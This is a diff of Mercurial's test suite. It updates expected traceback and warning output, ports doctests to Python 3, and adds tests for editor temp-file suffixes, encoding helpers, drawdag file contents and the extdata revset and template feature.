+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   $TESTTMP/buggylocking.py:* in buggylocking (glob)
+#endif
   $ hg properlocking
   $ hg nowaitlocking
 
@@ -135,6 +173,7 @@
   devel-warn: foorbar is deprecated, go shopping
   (compatibility will be dropped after Mercurial-42.1337, update your code.) at: $TESTTMP/buggylocking.py:* (oldanddeprecated) (glob)
 
+#if no-chg
   $ hg oldanddeprecated --traceback
   devel-warn: foorbar is deprecated, go shopping
   (compatibility will be dropped after Mercurial-42.1337, update your code.) at:
@@ -151,6 +190,46 @@
    */mercurial/dispatch.py:* in <lambda> (glob)
    */mercurial/util.py:* in check (glob)
    $TESTTMP/buggylocking.py:* in oldanddeprecated (glob)
+#else
+  $ hg oldanddeprecated --traceback
+  devel-warn: foorbar is deprecated, go shopping
+  (compatibility will be dropped after Mercurial-42.1337, update your code.) at:
+   */hg:* in <module> (glob)
+   */mercurial/dispatch.py:* in run (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   */mercurial/commands.py:* in serve (glob)
+   */mercurial/server.py:* in runservice (glob)
+   */mercurial/commandserver.py:* in run (glob)
+   */mercurial/commandserver.py:* in _mainloop (glob)
+   */mercurial/commandserver.py:* in _runworker (glob)
+   */mercurial/commandserver.py:* in _serverequest (glob)
+   */mercurial/commandserver.py:* in serve (glob)
+   */mercurial/commandserver.py:* in serveone (glob)
+   */mercurial/chgserver.py:* in runcommand (glob)
+   */mercurial/commandserver.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   $TESTTMP/buggylocking.py:* in oldanddeprecated (glob)
+#endif
+
+#if no-chg
   $ hg blackbox -l 7
   1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated
   1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> devel-warn: foorbar is deprecated, go shopping
@@ -174,6 +253,51 @@
    $TESTTMP/buggylocking.py:* in oldanddeprecated (glob)
   1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated --traceback exited 0 after * seconds (glob)
   1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> blackbox -l 7
+#else
+  $ hg blackbox -l 7
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> devel-warn: foorbar is deprecated, go shopping
+  (compatibility will be dropped after Mercurial-42.1337, update your code.) at: $TESTTMP/buggylocking.py:* (oldanddeprecated) (glob)
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated exited 0 after * seconds (glob)
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated --traceback
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> devel-warn: foorbar is deprecated, go shopping
+  (compatibility will be dropped after Mercurial-42.1337, update your code.) at:
+   */hg:* in <module> (glob)
+   */mercurial/dispatch.py:* in run (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   */mercurial/commands.py:* in serve (glob)
+   */mercurial/server.py:* in runservice (glob)
+   */mercurial/commandserver.py:* in run (glob)
+   */mercurial/commandserver.py:* in _mainloop (glob)
+   */mercurial/commandserver.py:* in _runworker (glob)
+   */mercurial/commandserver.py:* in _serverequest (glob)
+   */mercurial/commandserver.py:* in serve (glob)
+   */mercurial/commandserver.py:* in serveone (glob)
+   */mercurial/chgserver.py:* in runcommand (glob)
+   */mercurial/commandserver.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in dispatch (glob)
+   */mercurial/dispatch.py:* in _runcatch (glob)
+   */mercurial/dispatch.py:* in _callcatch (glob)
+   */mercurial/scmutil.py:* in callcatch (glob)
+   */mercurial/dispatch.py:* in _runcatchfunc (glob)
+   */mercurial/dispatch.py:* in _dispatch (glob)
+   */mercurial/dispatch.py:* in runcommand (glob)
+   */mercurial/dispatch.py:* in _runcommand (glob)
+   */mercurial/dispatch.py:* in <lambda> (glob)
+   */mercurial/util.py:* in check (glob)
+   $TESTTMP/buggylocking.py:* in oldanddeprecated (glob)
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> oldanddeprecated --traceback exited 0 after * seconds (glob)
+  1970/01/01 00:00:00 bob @cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b (5000)> blackbox -l 7
+#endif
 
 Test programming error failure:
 
@@ -239,14 +363,18 @@
   >     repo.ui.config('test', 'some', 'foo')
   >     repo.ui.config('test', 'dynamic', 'some-required-default')
   >     repo.ui.config('test', 'dynamic')
+  >     repo.ui.config('test', 'unregistered')
+  >     repo.ui.config('unregistered', 'unregistered')
   > EOF
 
   $ hg --config "extensions.buggyconfig=${TESTTMP}/buggyconfig.py" buggyconfig
-  devel-warn: extension 'buggyconfig' overwrite config item 'ui.interactive' at: */mercurial/extensions.py:* (loadall) (glob)
-  devel-warn: extension 'buggyconfig' overwrite config item 'ui.quiet' at: */mercurial/extensions.py:* (loadall) (glob)
+  devel-warn: extension 'buggyconfig' overwrite config item 'ui.interactive' at: */mercurial/extensions.py:* (_loadextra) (glob)
+  devel-warn: extension 'buggyconfig' overwrite config item 'ui.quiet' at: */mercurial/extensions.py:* (_loadextra) (glob)
   devel-warn: specifying a default value for a registered config item: 'ui.quiet' 'False' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
   devel-warn: specifying a default value for a registered config item: 'ui.interactive' 'None' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
   devel-warn: specifying a default value for a registered config item: 'test.some' 'foo' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
   devel-warn: config item requires an explicit default value: 'test.dynamic' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
+  devel-warn: accessing unregistered config item: 'test.unregistered' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
+  devel-warn: accessing unregistered config item: 'unregistered.unregistered' at: $TESTTMP/buggyconfig.py:* (cmdbuggyconfig) (glob)
 
   $ cd ..
diff --git a/tests/test-diff-ignore-whitespace.t b/tests/test-diff-ignore-whitespace.t
--- a/tests/test-diff-ignore-whitespace.t
+++ b/tests/test-diff-ignore-whitespace.t
@@ -407,8 +407,23 @@
   +goodbye\r (no-eol) (esc)
   world
 
+Test \r (carriage return) as used in "DOS" line endings:
+
+  $ printf 'hello world    \r\n\t\ngoodbye world\n' >foo
+
+  $ hg ndiff --ignore-space-at-eol
+  diff -r 540c40a65b78 foo
+  --- a/foo
+  +++ b/foo
+  @@ -1,2 +1,3 @@
+   hello world
+  +\t (esc)
+   goodbye world
+
 No completely blank lines to ignore:
 
+  $ printf 'hello world\r\n\r\ngoodbye\rworld\n' >foo
+
   $ hg ndiff --ignore-blank-lines
   diff -r 540c40a65b78 foo
   --- a/foo
diff --git a/tests/test-dirstate.t b/tests/test-dirstate.t
--- a/tests/test-dirstate.t
+++ b/tests/test-dirstate.t
@@ -66,7 +66,12 @@
 coherent (issue4353)
 
   $ cat > ../dirstateexception.py <<EOF
-  > from mercurial import merge, extensions, error
+  > from __future__ import absolute_import
+  > from mercurial import (
+  >   error,
+  >   extensions,
+  >   merge,
+  > )
   > 
   > def wraprecordupdates(orig, repo, actions, branchmerge):
   >     raise error.Abort("simulated error while recording dirstateupdates")
diff --git a/tests/test-dispatch.t b/tests/test-dispatch.t
--- a/tests/test-dispatch.t
+++ b/tests/test-dispatch.t
@@ -60,3 +60,17 @@
   [255]
 
 #endif
+
+#if rmcwd
+
+Current directory removed:
+
+  $ mkdir $TESTTMP/repo1
+  $ cd $TESTTMP/repo1
+  $ rm -rf $TESTTMP/repo1
+  $ HGDEMANDIMPORT=disable hg version -q
+  abort: error getting current working directory: * (glob) (no-chg !)
+  chg: abort: failed to getcwd (errno = *) (glob) (chg !)
+  [255]
+
+#endif
diff --git a/tests/test-doctest.py b/tests/test-doctest.py
--- a/tests/test-doctest.py
+++ b/tests/test-doctest.py
@@ -4,6 +4,7 @@
 
 import doctest
 import os
+import re
 import sys
 
 ispy3 = (sys.version_info[0] >= 3)
@@ -11,15 +12,33 @@
 if 'TERM' in os.environ:
     del os.environ['TERM']
 
-# TODO: migrate doctests to py3 and enable them on both versions
-def testmod(name, optionflags=0, testtarget=None, py2=True, py3=False):
-    if not (not ispy3 and py2 or ispy3 and py3):
-        return
+class py3docchecker(doctest.OutputChecker):
+    def check_output(self, want, got, optionflags):
+        want2 = re.sub(r'''\bu(['"])(.*?)\1''', r'\1\2\1', want)  # py2: u''
+        got2 = re.sub(r'''\bb(['"])(.*?)\1''', r'\1\2\1', got)  # py3: b''
+        # py3: <exc.name>: b'<msg>' -> <name>: <msg>
+        #      <exc.name>: <others> -> <name>: <others>
+        got2 = re.sub(r'''^mercurial\.\w+\.(\w+): (['"])(.*?)\2''', r'\1: \3',
+                      got2, re.MULTILINE)
+        got2 = re.sub(r'^mercurial\.\w+\.(\w+): ', r'\1: ', got2, re.MULTILINE)
+        return any(doctest.OutputChecker.check_output(self, w, g, optionflags)
+                   for w, g in [(want, got), (want2, got2)])
+
+def testmod(name, optionflags=0, testtarget=None):
     __import__(name)
     mod = sys.modules[name]
     if testtarget is not None:
         mod = getattr(mod, testtarget)
-    doctest.testmod(mod, optionflags=optionflags)
+
+    # minimal copy of doctest.testmod()
+    finder = doctest.DocTestFinder()
+    checker = None
+    if ispy3:
+        checker = py3docchecker()
+    runner = doctest.DocTestRunner(checker=checker, optionflags=optionflags)
+    for test in finder.find(mod, name):
+        runner.run(test)
+    runner.summarize()
 
 testmod('mercurial.changegroup')
 testmod('mercurial.changelog')
@@ -38,7 +57,7 @@
 testmod('mercurial.patch')
 testmod('mercurial.pathutil')
 testmod('mercurial.parser')
-testmod('mercurial.pycompat', py3=True)
+testmod('mercurial.pycompat')
 testmod('mercurial.revsetlang')
 testmod('mercurial.smartset')
 testmod('mercurial.store')
@@ -55,3 +74,5 @@
 testmod('hgext.convert.p4')
 testmod('hgext.convert.subversion')
 testmod('hgext.mq')
+# Helper scripts in tests/ that have doctests:
+testmod('drawdag')
diff --git a/tests/test-drawdag.t b/tests/test-drawdag.t
--- a/tests/test-drawdag.t
+++ b/tests/test-drawdag.t
@@ -2,7 +2,7 @@
   > [extensions]
   > drawdag=$TESTDIR/drawdag.py
   > [experimental]
-  > evolution=all
+  > evolution=true
   > EOF
 
   $ reinit () {
@@ -227,8 +227,46 @@
   o  A 426bada5c67598ca65036d57d9e4b64b0c1ce7a0
   
   $ hg debugobsolete
-  112478962961147124edd43549aedd1a335e44bf 7fb047a69f220c21711122dfd94305a9efb60cba 64a8289d249234b9886244d379f15e6b650b28e3 711f53bbef0bebd12eb6f0511d5e2e998b984846 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  26805aba1e600a82e93661149f2313866a221a7b be0ef73c17ade3fc89dc41701eb9fc3a91b58282 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  be0ef73c17ade3fc89dc41701eb9fc3a91b58282 575c4b5ec114d64b681d33f8792853568bfb2b2c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  64a8289d249234b9886244d379f15e6b650b28e3 0 {7fb047a69f220c21711122dfd94305a9efb60cba} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
-  58e6b987bf7045fcd9c54f496396ca1d1fc81047 0 {575c4b5ec114d64b681d33f8792853568bfb2b2c} (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  112478962961147124edd43549aedd1a335e44bf 7fb047a69f220c21711122dfd94305a9efb60cba 64a8289d249234b9886244d379f15e6b650b28e3 711f53bbef0bebd12eb6f0511d5e2e998b984846 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'split', 'user': 'test'}
+  26805aba1e600a82e93661149f2313866a221a7b be0ef73c17ade3fc89dc41701eb9fc3a91b58282 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
+  be0ef73c17ade3fc89dc41701eb9fc3a91b58282 575c4b5ec114d64b681d33f8792853568bfb2b2c 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
+  64a8289d249234b9886244d379f15e6b650b28e3 0 {7fb047a69f220c21711122dfd94305a9efb60cba} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'prune', 'user': 'test'}
+  58e6b987bf7045fcd9c54f496396ca1d1fc81047 0 {575c4b5ec114d64b681d33f8792853568bfb2b2c} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'prune', 'user': 'test'}
+
+Change file contents via comments
+
+  $ reinit
+  $ hg debugdrawdag <<'EOS'
+  > C       # A/dir1/a = 1\n2
+  > |\      # B/dir2/b = 34
+  > A B     # C/dir1/c = 5
+  >         # C/dir2/c = 6
+  >         # C/A = a
+  >         # C/B = b
+  > EOS
+
+  $ hg log -G -T '{desc} {files}'
+  o    C A B dir1/c dir2/c
+  |\
+  | o  B B dir2/b
+  |
+  o  A A dir1/a
+  
+  $ for f in `hg files -r C`; do
+  >   echo FILE "$f"
+  >   hg cat -r C "$f"
+  >   echo
+  > done
+  FILE A
+  a
+  FILE B
+  b
+  FILE dir1/a (glob)
+  1
+  2
+  FILE dir1/c (glob)
+  5
+  FILE dir2/b (glob)
+  34
+  FILE dir2/c (glob)
+  6
diff --git a/tests/test-duplicateoptions.py b/tests/test-duplicateoptions.py
--- a/tests/test-duplicateoptions.py
+++ b/tests/test-duplicateoptions.py
@@ -6,18 +6,18 @@
     ui as uimod,
 )
 
-ignore = {'highlight', 'win32text', 'factotum'}
+ignore = {b'highlight', b'win32text', b'factotum'}
 
 if os.name != 'nt':
-    ignore.add('win32mbcs')
+    ignore.add(b'win32mbcs')
 
 disabled = [ext for ext in extensions.disabled().keys() if ext not in ignore]
 
-hgrc = open(os.environ["HGRCPATH"], 'w')
-hgrc.write('[extensions]\n')
+hgrc = open(os.environ["HGRCPATH"], 'wb')
+hgrc.write(b'[extensions]\n')
 
 for ext in disabled:
-    hgrc.write(ext + '=\n')
+    hgrc.write(ext + b'=\n')
 
 hgrc.close()
 
@@ -30,7 +30,7 @@
     option[0] and globalshort.add(option[0])
     option[1] and globallong.add(option[1])
 
-for cmd, entry in commands.table.iteritems():
+for cmd, entry in commands.table.items():
     seenshort = globalshort.copy()
     seenlong = globallong.copy()
     for option in entry[1]:
diff --git a/tests/test-editor-filename.t b/tests/test-editor-filename.t
new file mode 100644
--- /dev/null
+++ b/tests/test-editor-filename.t
@@ -0,0 +1,61 @@
+Test temp file used with an editor has the expected suffix.
+
+  $ hg init
+
+Create an editor that writes its arguments to stdout and set it to $HGEDITOR.
+
+  $ cat > editor.sh << EOF
+  > echo "\$@"
+  > exit 1
+  > EOF
+  $ hg add editor.sh
+  $ HGEDITOR="sh $TESTTMP/editor.sh"
+  $ export HGEDITOR
+
+Verify that the path for a commit editor has the expected suffix.
+
+  $ hg commit
+  *.commit.hg.txt (glob)
+  abort: edit failed: sh exited with status 1
+  [255]
+
+Verify that the path for a histedit editor has the expected suffix.
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > rebase=
+  > histedit=
+  > EOF
+  $ hg commit --message 'At least one commit for histedit.'
+  $ hg histedit
+  *.histedit.hg.txt (glob)
+  abort: edit failed: sh exited with status 1
+  [255]
+
+Verify that when performing an action that has the side-effect of creating an
+editor for a diff, the file ends in .diff.
+
+  $ echo 1 > one
+  $ echo 2 > two
+  $ hg add
+  adding one
+  adding two
+  $ hg commit --interactive --config ui.interactive=true --config ui.interface=text << EOF
+  > y
+  > e
+  > q
+  > EOF
+  diff --git a/one b/one
+  new file mode 100644
+  examine changes to 'one'? [Ynesfdaq?] y
+  
+  @@ -0,0 +1,1 @@
+  +1
+  record change 1/2 to 'one'? [Ynesfdaq?] e
+  
+  *.diff (glob)
+  editor exited with exit code 1
+  record change 1/2 to 'one'? [Ynesfdaq?] q
+  
+  abort: user quit
+  [255]
diff --git a/tests/test-empty-group.t b/tests/test-empty-group.t
--- a/tests/test-empty-group.t
+++ b/tests/test-empty-group.t
@@ -53,6 +53,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 3 changes to 3 files
+  new changesets 5fcb73622933:d15a0c284984
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -61,6 +62,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 3 changes to 3 files
+  new changesets 5fcb73622933:1ec3c74fc0e0
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -115,6 +117,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 1ec3c74fc0e0
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R c pull a
@@ -124,4 +127,5 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets d15a0c284984
   (run 'hg heads' to see heads, 'hg merge' to merge)
diff --git a/tests/test-encoding-func.py b/tests/test-encoding-func.py
new file mode 100644
--- /dev/null
+++ b/tests/test-encoding-func.py
@@ -0,0 +1,45 @@
+from __future__ import absolute_import
+
+import unittest
+
+from mercurial import (
+    encoding,
+)
+
+class IsasciistrTest(unittest.TestCase):
+    asciistrs = [
+        b'a',
+        b'ab',
+        b'abc',
+        b'abcd',
+        b'abcde',
+        b'abcdefghi',
+        b'abcd\0fghi',
+    ]
+
+    def testascii(self):
+        for s in self.asciistrs:
+            self.assertTrue(encoding.isasciistr(s))
+
+    def testnonasciichar(self):
+        for s in self.asciistrs:
+            for i in range(len(s)):
+                t = bytearray(s)
+                t[i] |= 0x80
+                self.assertFalse(encoding.isasciistr(bytes(t)))
+
+class LocalEncodingTest(unittest.TestCase):
+    def testasciifastpath(self):
+        s = b'\0' * 100
+        self.assertTrue(s is encoding.tolocal(s))
+        self.assertTrue(s is encoding.fromlocal(s))
+
+class Utf8bEncodingTest(unittest.TestCase):
+    def testasciifastpath(self):
+        s = b'\0' * 100
+        self.assertTrue(s is encoding.toutf8b(s))
+        self.assertTrue(s is encoding.fromutf8b(s))
+
+if __name__ == '__main__':
+    import silenttestrunner
+    silenttestrunner.main(__name__)
diff --git a/tests/test-encoding.t b/tests/test-encoding.t
--- a/tests/test-encoding.t
+++ b/tests/test-encoding.t
@@ -10,6 +10,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 1e78a93102a3:0e5b7e3f9c4a
   (run 'hg update' to get a working copy)
   $ hg co
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-eol-clone.t b/tests/test-eol-clone.t
--- a/tests/test-eol-clone.t
+++ b/tests/test-eol-clone.t
@@ -61,6 +61,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 90f94e2cf4e2
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo-4
diff --git a/tests/test-eol.t b/tests/test-eol.t
--- a/tests/test-eol.t
+++ b/tests/test-eol.t
@@ -8,15 +8,17 @@
 Set up helpers
 
   $ cat > switch-eol.py <<EOF
+  > from __future__ import absolute_import
+  > import os
   > import sys
   > try:
-  >     import os, msvcrt
+  >     import msvcrt
   >     msvcrt.setmode(sys.stdin.fileno(), os.O_BINARY)
   >     msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
   > except ImportError:
   >     pass
   > (old, new) = sys.argv[1] == 'LF' and ('\n', '\r\n') or ('\r\n', '\n')
-  > print "%% switching encoding from %r to %r" % (old, new)
+  > print("%% switching encoding from %r to %r" % (old, new))
   > for path in sys.argv[2:]:
   >     data = file(path, 'rb').read()
   >     data = data.replace(old, new)
diff --git a/tests/test-exchange-obsmarkers-case-A1.t b/tests/test-exchange-obsmarkers-case-A1.t
--- a/tests/test-exchange-obsmarkers-case-A1.t
+++ b/tests/test-exchange-obsmarkers-case-A1.t
@@ -103,6 +103,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets f5bc6836db60
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -144,6 +145,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets f5bc6836db60
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -244,6 +246,7 @@
   adding file changes
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
+  new changesets f5bc6836db60:f6fbb35d8ac9
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -285,6 +288,7 @@
   adding file changes
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
+  new changesets f5bc6836db60:f6fbb35d8ac9
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-A2.t b/tests/test-exchange-obsmarkers-case-A2.t
--- a/tests/test-exchange-obsmarkers-case-A2.t
+++ b/tests/test-exchange-obsmarkers-case-A2.t
@@ -111,6 +111,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets f5bc6836db60
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-A3.t b/tests/test-exchange-obsmarkers-case-A3.t
--- a/tests/test-exchange-obsmarkers-case-A3.t
+++ b/tests/test-exchange-obsmarkers-case-A3.t
@@ -130,6 +130,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -233,6 +234,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   obsoleted 1 changesets
+  new changesets e5ea8f9c7314
   (run 'hg heads' to see heads, 'hg merge' to merge)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-A4.t b/tests/test-exchange-obsmarkers-case-A4.t
--- a/tests/test-exchange-obsmarkers-case-A4.t
+++ b/tests/test-exchange-obsmarkers-case-A4.t
@@ -117,6 +117,7 @@
   adding file changes
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
+  new changesets 28b51eb45704:06055a7959d4
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-A5.t b/tests/test-exchange-obsmarkers-case-A5.t
--- a/tests/test-exchange-obsmarkers-case-A5.t
+++ b/tests/test-exchange-obsmarkers-case-A5.t
@@ -126,6 +126,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   1 new obsolescence markers
+  new changesets f6298a8ac3a4
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-B3.t b/tests/test-exchange-obsmarkers-case-B3.t
--- a/tests/test-exchange-obsmarkers-case-B3.t
+++ b/tests/test-exchange-obsmarkers-case-B3.t
@@ -106,6 +106,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets f5bc6836db60
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-B5.t b/tests/test-exchange-obsmarkers-case-B5.t
--- a/tests/test-exchange-obsmarkers-case-B5.t
+++ b/tests/test-exchange-obsmarkers-case-B5.t
@@ -137,6 +137,7 @@
   adding file changes
   added 3 changesets with 3 changes to 3 files
   1 new obsolescence markers
+  new changesets 28b51eb45704:1d0f3cd25300
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-C2.t b/tests/test-exchange-obsmarkers-case-C2.t
--- a/tests/test-exchange-obsmarkers-case-C2.t
+++ b/tests/test-exchange-obsmarkers-case-C2.t
@@ -119,6 +119,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -166,6 +167,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-D1.t b/tests/test-exchange-obsmarkers-case-D1.t
--- a/tests/test-exchange-obsmarkers-case-D1.t
+++ b/tests/test-exchange-obsmarkers-case-D1.t
@@ -117,6 +117,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
@@ -164,6 +165,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-exchange-obsmarkers-case-D4.t b/tests/test-exchange-obsmarkers-case-D4.t
--- a/tests/test-exchange-obsmarkers-case-D4.t
+++ b/tests/test-exchange-obsmarkers-case-D4.t
@@ -125,6 +125,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   2 new obsolescence markers
+  new changesets e5ea8f9c7314
   (run 'hg update' to get a working copy)
   ## post pull state
   # obstore: main
diff --git a/tests/test-extdata.t b/tests/test-extdata.t
new file mode 100644
--- /dev/null
+++ b/tests/test-extdata.t
@@ -0,0 +1,97 @@
+  $ hg init repo
+  $ cd repo
+  $ for n in 0 1 2 3 4 5 6 7 8 9 10 11; do
+  >   echo $n > $n
+  >   hg ci -qAm $n
+  > done
+
+test revset support
+
+  $ cat <<'EOF' >> .hg/hgrc
+  > [extdata]
+  > filedata = file:extdata.txt
+  > notes = notes.txt
+  > shelldata = shell:cat extdata.txt | grep 2
+  > emptygrep = shell:cat extdata.txt | grep empty
+  > EOF
+  $ cat <<'EOF' > extdata.txt
+  > 2 another comment on 2
+  > 3
+  > EOF
+  $ cat <<'EOF' > notes.txt
+  > f6ed this change is great!
+  > e834 this is buggy :(
+  > 0625 first post
+  > bogusnode gives no error
+  > a ambiguous node gives no error
+  > EOF
+
+  $ hg log -qr "extdata(filedata)"
+  2:f6ed99a58333
+  3:9de260b1e88e
+  $ hg log -qr "extdata(shelldata)"
+  2:f6ed99a58333
+
+test weight of extdata() revset
+
+  $ hg debugrevspec -p optimized "extdata(filedata) & 3"
+  * optimized:
+  (andsmally
+    (func
+      (symbol 'extdata')
+      (symbol 'filedata'))
+    (symbol '3'))
+  3
+
+test non-zero exit of shell command
+
+  $ hg log -qr "extdata(emptygrep)"
+  $ hg log -qr "extdata(emptygrep)" --debug
+  extdata command 'cat extdata.txt | grep empty' exited with status * (glob)
+
+test bad extdata() revset source
+
+  $ hg log -qr "extdata()"
+  hg: parse error: extdata takes at least 1 string argument
+  [255]
+  $ hg log -qr "extdata(unknown)"
+  abort: unknown extdata source 'unknown'
+  [255]
+
+test template support:
+
+  $ hg log -r:3 -T "{node|short}{if(extdata('notes'), ' # {extdata('notes')}')}\n"
+  06254b906311 # first post
+  e8342c9a2ed1 # this is buggy :(
+  f6ed99a58333 # this change is great!
+  9de260b1e88e
+
+test template cache:
+
+  $ hg log -r:3 -T '{rev} "{extdata("notes")}" "{extdata("shelldata")}"\n'
+  0 "first post" ""
+  1 "this is buggy :(" ""
+  2 "this change is great!" "another comment on 2"
+  3 "" ""
+
+test bad extdata() template source
+
+  $ hg log -T "{extdata()}\n"
+  hg: parse error: extdata expects one argument
+  [255]
+  $ hg log -T "{extdata('unknown')}\n"
+  abort: unknown extdata source 'unknown'
+  [255]
+
+we don't fix up relative file URLs, but we do run shell commands in repo root
